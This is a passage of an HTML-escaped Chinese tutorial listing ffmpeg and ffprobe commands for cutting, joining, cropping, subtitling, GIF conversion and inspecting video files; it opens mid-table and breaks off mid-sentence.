left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 %d.png  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 %06d.png &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf fps=1 %06d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf fps=1&#x2F;4 %06d.png &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -ss 00:00:04 -i input.mp4 %06d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -ss 00:00:04 -t 2 -i input.mp4 %06d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -ss 00:00:04 -i input.mp4 -frames:v 1 screenshot.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -s 640x480 %06d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf scale=640:-1 %06d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;qie-fen-shi-pin-wen-jian-wei-duo-ge-bu-fen&quot;&gt;切分视频文件为多个部分&lt;&#x2F;h2&gt;
&lt;p&gt;一些网站将仅允许上传具体指定大小的视频。此时需要切分大的视频文件到多个较小的部分&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -t 00:00:30 -c copy part1.mp4 -ss 00:00:30 -codec copy part2.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;截取视频的中间一部分&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -ss 00:01:00 -t 10 -i input.webm -c:v libx264 -c:a copy -strict -2 -y output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;jie-he-huo-he-bing-duo-ge-shi-pin-bu-fen-dao-yi-ge&quot;&gt;接合或合并多个视频部分到一个&lt;&#x2F;h2&gt;
&lt;p&gt;创建包含所有需要合并的视频路径的 &lt;code&gt;join.txt&lt;&#x2F;code&gt; 文件。所有的视频都应该是相同的格式（相同的编码格式）。所有文件的路径应该按顺序逐个列出：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;file &#x2F;home&#x2F;sk&#x2F;myvideos&#x2F;part1.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;file &#x2F;home&#x2F;sk&#x2F;myvideos&#x2F;part2.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;file &#x2F;home&#x2F;sk&#x2F;myvideos&#x2F;part3.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -f concat -i join.txt -c copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -f concat -safe 0 -i join.txt -c copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;cai-jian&quot;&gt;裁剪&lt;&#x2F;h2&gt;
&lt;p&gt;裁剪（cutting）指的是，截取原始视频里面的一个片段，输出为一个新视频。可以指定开始时间（start）和持续时间（duration），也可以指定结束时间（end）。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -ss [start] -i [input] -t [duration] -c copy [output]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -ss [start] -i [input] -to [end] -c copy [output]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;选择范围裁剪&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 -filter:v &quot;crop=w:h:x:y&quot; output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -filter:v &quot;crop=640:480:200:150&quot; output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zhuan-huan-shi-pin-de-mou-yi-bu-fen-dao-qi-ta-ge-shi&quot;&gt;转换视频的某一部分到其他格式&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -t 10 output.avi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;she-zhi-shi-pin-de-ping-mu-gao-kuan-bi&quot;&gt;设置视频的屏幕高宽比&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -aspect 16:9 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wei-yin-pin-tian-jia-feng-mian&quot;&gt;为音频添加封面&lt;&#x2F;h2&gt;
&lt;p&gt;有些视频网站只允许上传视频文件。如果要上传音频文件，必须为音频添加封面，将其转为视频，然后上传。下面命令可以将音频文件，转为带封面的视频文件。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -loop 1 -i cover.jpg -i input.mp3 -c:v libx264 -c:a aac -b:a 192k -shortest output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;chang-jian-zi-mu-ge-shi&quot;&gt;常见字幕格式&lt;&#x2F;h3&gt;
&lt;p&gt;不同的字幕文件有不同的格式，常见的字幕格式有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SRT（标准外挂字幕格式）：只包含文字和时间码，没有样式，显示效果由播放器决定，不同的播放器显示出的效果可能差别很大；&lt;&#x2F;li&gt;
&lt;li&gt;ASS（高级外挂字幕格式）：支持样式、字体、字幕定位、淡入淡出、简单的特效。如果不缺字体，不同的播放器显示效果基本一致；&lt;&#x2F;li&gt;
&lt;li&gt;XML+PNG序列：用来导入Premiere、FCP7、Edius、Vegas、AE，不支持FCPX；&lt;&#x2F;li&gt;
&lt;li&gt;Avid DS Cap字幕格式：AVID专用格式，导入后可以修改文字；&lt;&#x2F;li&gt;
&lt;li&gt;UTF（会声会影专用格式）：可以直接导入会声会影使用；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;字幕格式可以互相转换&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i subtitle.srt subtitle.vtt&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i subtitle.srt subtitle.ass&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;tian-jia-ruan-zi-mu&quot;&gt;添加软字幕&lt;&#x2F;h3&gt;
&lt;p&gt;软字幕也叫内挂字幕、封装字幕、内封字幕，字幕流等，就是把前面的外挂字幕的字幕文件嵌入到视频中作为流的一部分，如果一个视频有多个字幕流那么播放视频是还得选择对应的字幕流。外挂字幕是一个单独的外部字幕文件，格式类型一般有srt、vtt、ass等等。播放视频时，需要把外挂字幕和视频放在同一目录下，并在播放器中选择字幕文件才可以在视频中看到字幕。不管是外挂字幕还是软字幕，字幕要正常显示播放器必须要支持字幕的渲染。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 -i subtitle.srt -map 0 -map 1 -c copy -c:v libx264 -crf 23 -preset veryfast output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -i subtitle.srt -c copy -c:v libx264 -crf 23 -preset veryfast output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -f srt -i subtitle.srt -c:v copy -c:a copy -c:s mov_text output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;tian-jia-ying-zi-mu&quot;&gt;添加硬字幕&lt;&#x2F;h3&gt;
&lt;p&gt;硬字幕就是嵌入到视频帧里面的字幕，它就像视频水印一样作为视频帧的一分部分了，不管再任何平台字幕看起来都是一样的，而且也不再要求播放器单独对字母进行渲染。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf subtitles=subtitle.srt output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffplay video.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffplay audio.mp3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zeng-jia-jian-shao-shi-pin-bo-fang-su-du&quot;&gt;增加&#x2F;减少视频播放速度&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &quot;setpts=0.5*PTS&quot; output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf &quot;setpts=4.0*PTS&quot; output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;shi-pin-tu-pian-dao-gif&quot;&gt;视频&#x2F;图片到 gif&lt;&#x2F;h2&gt;
&lt;p&gt;截取视频部分到 gif&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -ss 00:00:20 -i input.mp4 -to 10 -r 10 -vf scale=200:-1 output.gif&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i small.mp4 -b 2048k small.gif&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;把图片序列合成gif&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -f image2 -framerate 9 -i image_%003d.jpg -vf scale=531x299,transpose=1,crop=299,431,0,100 -loop -1 out.gif&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;gif-zhuan-shi-pin&quot;&gt;gif 转 视频&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -f gif -i animation.gif animation.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.gif -vf scale=420:-2,format=yuv420p out.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i guoying.gif -movflags faststart -pix_fmt yuv420p -vf &quot;scale=trunc(iw&#x2F;2)*2:trunc(ih&#x2F;2)*2&quot; video.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;tu-pian-he-cheng-shi-pin&quot;&gt;图片合成视频&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -framerate 30 -pattern_type glob -i &#x27;*.png&#x27; -c:v libx264 -pix_fmt yuv420p out.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;也可以指定不同路径的图片，需要把各图片路径写的 &lt;code&gt;input.txt&lt;&#x2F;code&gt; 中，格式大概如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;file &#x27;&#x2F;home&#x2F;jinzhongxu&#x2F;a&#x2F;b&#x2F;c.png&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;file &#x27;&#x2F;home&#x2F;jinzhongxu&#x2F;d&#x2F;f&#x2F;g&#x2F;k.png&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;合成方法如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -f concat -i input.txt -framerate 1 -i orig&#x2F;audio.ogg -c:v libx264 -c:a copy -shortest -r 30 -pix_fmt yuv420p output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ffprobe-ming-ling-de-shi-yong&quot;&gt;ffprobe 命令的使用&lt;&#x2F;h2&gt;
&lt;p&gt;ffprobe 一般和 ffmpeg 一起被安装，它是非常强大的视频分析工具，可非常方便的从多媒体视流（视频、音频等）中获取文件描述信息，并且可以指定的格式输出结果。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-shi-shi-pin-zong-zheng-shu-kuan-gao-deng-xin-xi&quot;&gt;显示视频总帧数、宽、高等信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -show_streams xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;也可以屏蔽版本参数信息：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -show_streams xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;已 json 格式显示结果：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -print_format json -show_streams xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zhi-kan-zhi-ding-de-xin-xi&quot;&gt;只看指定的信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -select_streams v -show_entries stream=r_frame_rate xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;xian-shi-mei-yi-zheng-de-xin-xi&quot;&gt;显示每一帧的信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -print_format json -show_frames xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;xian-shi-bao-xin-xi&quot;&gt;显示包信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -print_format json -show_packets xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;xian-shi-feng-zhuang-ge-shi-xin-xi&quot;&gt;显示封装格式信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffprobe -v quiet -print_format json -show_format xc.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;更多是使用如下命令查看：&lt;&#x2F;p&gt;
